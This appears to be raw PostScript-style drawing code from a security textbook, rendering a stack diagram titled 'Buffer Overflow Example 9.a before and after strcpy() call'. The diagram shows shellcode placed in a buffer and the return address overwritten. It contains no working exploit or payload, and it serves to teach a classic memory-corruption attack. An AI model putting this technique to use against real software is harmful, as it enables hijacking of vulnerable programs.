DOCLIPBOX n 5002 9696 M 7011 9696 L 7011 9686 L 5002 9686 L GS 0.0000 0.0000 0.0000 0.4980 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9686 M 7011 9686 L 7011 9676 L 5002 9676 L GS 0.0000 0.0000 0.0000 0.4902 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9676 M 7011 9676 L 7011 9670 L 5002 9670 L GS 0.0000 0.0000 0.0000 0.4824 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9670 M 7011 9670 L 7011 9660 L 5002 9660 L GS 0.0000 0.0000 0.0000 0.4745 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9663 M 7011 9663 L 7011 9653 L 5002 9653 L GS 0.0000 0.0000 0.0000 0.4667 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9653 M 7011 9653 L 7011 9643 L 5002 9643 L GS 0.0000 0.0000 0.0000 0.4588 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9643 M 7011 9643 L 7011 9636 L 5002 9636 L GS 0.0000 0.0000 0.0000 0.4510 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9636 M 7011 9636 L 7011 9626 L 5002 9626 L GS 0.0000 0.0000 0.0000 0.4431 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9626 M 7011 9626 L 7011 9620 L 5002 9620 L GS 0.0000 0.0000 0.0000 0.4353 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9620 M 7011 9620 L 7011 9610 L 5002 9610 L GS 0.0000 0.0000 0.0000 0.4275 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9610 M 7011 9610 L 7011 9603 L 5002 9603 L GS 0.0000 0.0000 0.0000 0.4196 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9603 M 7011 9603 L 7011 9593 L 5002 9593 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9593 M 7011 9593 L 7011 9586 L 5002 9586 L GS 0.0000 0.0000 0.0000 0.4039 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9586 M 7011 9586 L 7011 9576 L 5002 9576 L GS 0.0000 0.0000 0.0000 0.3961 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9576 M 7011 9576 L 7011 9570 L 5002 9570 L GS 0.0000 0.0000 0.0000 0.3882 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9570 M 7011 9570 L 7011 9560 L 5002 9560 L GS 0.0000 0.0000 0.0000 0.3804 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9560 M 7011 9560 L 7011 9550 L 5002 9550 L GS 0.0000 0.0000 0.0000 0.3725 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9550 M 7011 9550 L 7011 9543 L 5002 9543 L GS 0.0000 0.0000 0.0000 0.3647 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9543 M 7011 9543 L 7011 9536 L 5002 9536 L GS 0.0000 0.0000 0.0000 0.3569 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9536 M 7011 9536 L 7011 9526 L 5002 9526 L GS 0.0000 0.0000 0.0000 0.3490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9526 M 7011 9526 L 7011 9516 L 5002 9516 L GS 0.0000 0.0000 0.0000 0.3412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9516 M 7011 9516 L 7011 9510 L 5002 9510 L GS 0.0000 0.0000 0.0000 0.3333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9510 M 7011 9510 L 7011 9500 L 5002 9500 L GS 0.0000 0.0000 0.0000 0.3255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9500 M 7011 9500 L 7011 9493 L 5002 9493 L GS 0.0000 0.0000 0.0000 0.3176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9493 M 7011 9493 L 7011 9483 L 5002 9483 L GS 0.0000 0.0000 0.0000 0.3098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9483 M 7011 9483 L 7011 9406 L 5002 9406 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5005 9960 M 7008 9960 L 7008 9406 L 5005 9406 L 5005 9960 L 7008 9960 L 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 5776 9552 M (user stack) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 9406 M 7011 9406 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7680 M 7011 7680 L 7011 7610 L 5002 7610 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7610 M 7011 7610 L 7011 7603 L 5002 7603 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7603 M 7011 7603 L 7011 7593 L 5002 7593 L GS 0.0000 0.0000 0.0000 0.3098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7596 M 7011 7596 L 7011 7586 L 5002 7586 L GS 0.0000 0.0000 0.0000 0.3176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7586 M 7011 7586 L 7011 7580 L 5002 7580 L GS 0.0000 0.0000 0.0000 0.3255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7580 M 7011 7580 L 7011 7573 L 5002 7573 L GS 0.0000 0.0000 0.0000 0.3333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7573 M 7011 7573 L 7011 7563 L 5002 7563 L GS 0.0000 0.0000 0.0000 0.3412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7566 M 7011 7566 L 7011 7556 L 5002 7556 L GS 0.0000 0.0000 0.0000 0.3490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7556 M 7011 7556 L 7011 7550 L 5002 7550 L GS 0.0000 0.0000 0.0000 0.3569 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7550 M 7011 7550 L 7011 7540 L 5002 7540 L GS 0.0000 0.0000 0.0000 0.3647 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7540 M 7011 7540 L 7011 7533 L 5002 7533 L GS 0.0000 0.0000 0.0000 0.3725 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7533 M 7011 7533 L 7011 7526 L 5002 7526 L GS 0.0000 0.0000 0.0000 0.3804 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7526 M 7011 7526 L 7011 7520 L 5002 7520 L GS 0.0000 0.0000 0.0000 0.3882 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7520 M 7011 7520 L 7011 7510 L 5002 7510 L GS 0.0000 0.0000 0.0000 0.3961 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7513 M 7011 7513 L 7011 7503 L 5002 7503 L GS 0.0000 0.0000 0.0000 0.4039 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7503 M 7011 7503 L 7011 7496 L 5002 7496 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7496 M 7011 7496 L 7011 7490 L 5002 7490 L GS 0.0000 0.0000 0.0000 0.4196 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7490 M 7011 7490 L 7011 7480 L 5002 7480 L GS 0.0000 0.0000 0.0000 0.4275 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7480 M 7011 7480 L 7011 7473 L 5002 7473 L GS 0.0000 0.0000 0.0000 0.4353 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7473 M 7011 7473 L 7011 7466 L 5002 7466 L GS 0.0000 0.0000 0.0000 0.4431 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7466 M 7011 7466 L 7011 7456 L 5002 7456 L GS 0.0000 0.0000 0.0000 0.4510 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7456 M 7011 7456 L 7011 7450 L 5002 7450 L GS 0.0000 0.0000 0.0000 0.4588 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7450 M 7011 7450 L 7011 7443 L 5002 7443 L GS 0.0000 0.0000 0.0000 0.4667 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7443 M 7011 7443 L 7011 7436 L 5002 7436 L GS 0.0000 0.0000 0.0000 0.4745 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7436 M 7011 7436 L 7011 7426 L 5002 7426 L GS 0.0000 0.0000 0.0000 0.4824 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7426 M 7011 7426 L 7011 7420 L 5002 7420 L GS 0.0000 0.0000 0.0000 0.4902 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7420 M 7011 7420 L 7011 7413 L 5002 7413 L GS 0.0000 0.0000 0.0000 0.4980 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7413 M 7011 7413 L 7011 7406 L 5002 7406 L GS 0.0000 0.0000 0.0000 0.5059 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7406 M 7011 7406 L 7011 7396 L 5002 7396 L GS 0.0000 0.0000 0.0000 0.5137 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7396 M 7011 7396 L 7011 7390 L 5002 7390 L GS 0.0000 0.0000 0.0000 0.5216 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7390 M 7011 7390 L 7011 7383 L 5002 7383 L GS 0.0000 0.0000 0.0000 0.5294 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7383 M 7011 7383 L 7011 7376 L 5002 7376 L GS 0.0000 0.0000 0.0000 0.5373 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7376 M 7011 7376 L 7011 7366 L 5002 7366 L GS 0.0000 0.0000 0.0000 0.5451 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7366 M 7011 7366 L 7011 7360 L 5002 7360 L GS 0.0000 0.0000 0.0000 0.5529 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7360 M 7011 7360 L 7011 7353 L 5002 7353 L GS 0.0000 0.0000 0.0000 0.5608 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7353 M 7011 7353 L 7011 7346 L 5002 7346 L GS 0.0000 0.0000 0.0000 0.5686 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7346 M 7011 7346 L 7011 7336 L 5002 7336 L GS 0.0000 0.0000 0.0000 0.5765 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7336 M 7011 7336 L 7011 7330 L 5002 7330 L GS 0.0000 0.0000 0.0000 0.5843 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7330 M 7011 7330 L 7011 7323 L 5002 7323 L GS 0.0000 0.0000 0.0000 0.5922 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7323 M 7011 7323 L 7011 7313 L 5002 7313 L GS 0.0000 0.0000 0.0000 0.6000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7313 M 7011 7313 L 7011 7306 L 5002 7306 L GS 0.0000 0.0000 0.0000 0.6078 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7306 M 7011 7306 L 7011 7300 L 5002 7300 L GS 0.0000 0.0000 0.0000 0.6157 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7300 M 7011 7300 L 7011 7293 L 5002 7293 L GS 0.0000 0.0000 0.0000 0.6235 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7293 M 7011 7293 L 7011 7283 L 5002 7283 L GS 0.0000 0.0000 0.0000 0.6314 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7283 M 7011 7283 L 7011 7276 L 5002 7276 L GS 0.0000 0.0000 0.0000 0.6392 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7276 M 7011 7276 L 7011 7270 L 5002 7270 L GS 0.0000 0.0000 0.0000 0.6471 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7270 M 7011 7270 L 7011 7263 L 5002 7263 L GS 0.0000 0.0000 0.0000 0.6549 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7263 M 7011 7263 L 7011 7253 L 5002 7253 L GS 0.0000 0.0000 0.0000 0.6627 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7253 M 7011 7253 L 7011 7246 L 5002 7246 L GS 0.0000 0.0000 0.0000 0.6706 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7246 M 7011 7246 L 7011 7240 L 5002 7240 L GS 0.0000 0.0000 0.0000 0.6784 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7240 M 7011 7240 L 7011 7230 L 5002 7230 L GS 0.0000 0.0000 0.0000 0.6863 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7233 M 7011 7233 L 7011 7223 L 5002 7223 L GS 0.0000 0.0000 0.0000 0.6941 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7223 M 7011 7223 L 7011 7216 L 5002 7216 L GS 0.0000 0.0000 0.0000 0.7020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7216 M 7011 7216 L 7011 7210 L 5002 7210 L GS 0.0000 0.0000 0.0000 0.7098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7210 M 7011 7210 L 7011 7203 L 5002 7203 L GS 0.0000 0.0000 0.0000 0.7176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7203 M 7011 7203 L 7011 7193 L 5002 7193 L GS 0.0000 0.0000 0.0000 0.7255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7193 M 7011 7193 L 7011 7186 L 5002 7186 L GS 0.0000 0.0000 0.0000 0.7333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7186 M 7011 7186 L 7011 7176 L 5002 7176 L GS 0.0000 0.0000 0.0000 0.7412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5005 7676 M 7008 7676 L 7008 7180 L 5005 7180 L 5005 7676 L 7008 7676 L 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 7456 M 7011 7456 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 37 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 7680 M 7011 7680 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 5893 7602 M (heap) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 5905 9858 M (argc) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 9683 M 7011 9683 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 37 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 5931 7315 M (bss) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9966 M 5002 7176 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 7008 9966 M 7008 7176 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 9963 M 7011 9963 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 7180 M 7011 7180 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 9126 M 7011 9126 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 8126 M 7011 8126 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 5627 7834 M (shellcode[]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 5897 9004 M (sfp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 5899 9286 M (ret) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 5726 8724 M (long_ptr) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 5155 7045 M (after strcpy\(\) is called; ret overwritten) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 7903 M 7011 7903 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 5426 8055 M (large_string[128]) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 8346 M 7011 8346 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 8570 M 7011 8570 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 5803 8281 M (buffer) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 5962 8498 M (i) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 4835 8296 M 4835 8070 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4952 8293 M 4832 8293 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4932 8263 M 4942 8293 L 4932 8323 L 5002 8293 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4832 8070 M 5005 8070 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4832 7960 M 4952 7960 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4932 7930 M 4942 7960 L 4932 7990 L 5002 7960 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4835 7963 M 4835 7790 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5005 7793 M 4832 7793 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5615 8180 M 5615 9120 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5668 9070 M 5615 9090 L 5561 9070 L 5615 9240 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 5061 8957 M (strcpy) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 5063 8790 M (overflow) ST GR GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 6890 M 7523 6890 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 2223 6759 M (Figure 9.c) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 2818 6759 M ( - Buffer Overflow Example 9.a before and after ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 5541 6759 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 6205 6759 M ( call.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 6247 M (Example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2348 6247 M (9.b ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2599 6247 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2882 6247 M (Figure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3360 6247 M (9.c ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3602 6247 M (detail ) ST GR 0.0000 0.0000 0.0000 1.0000 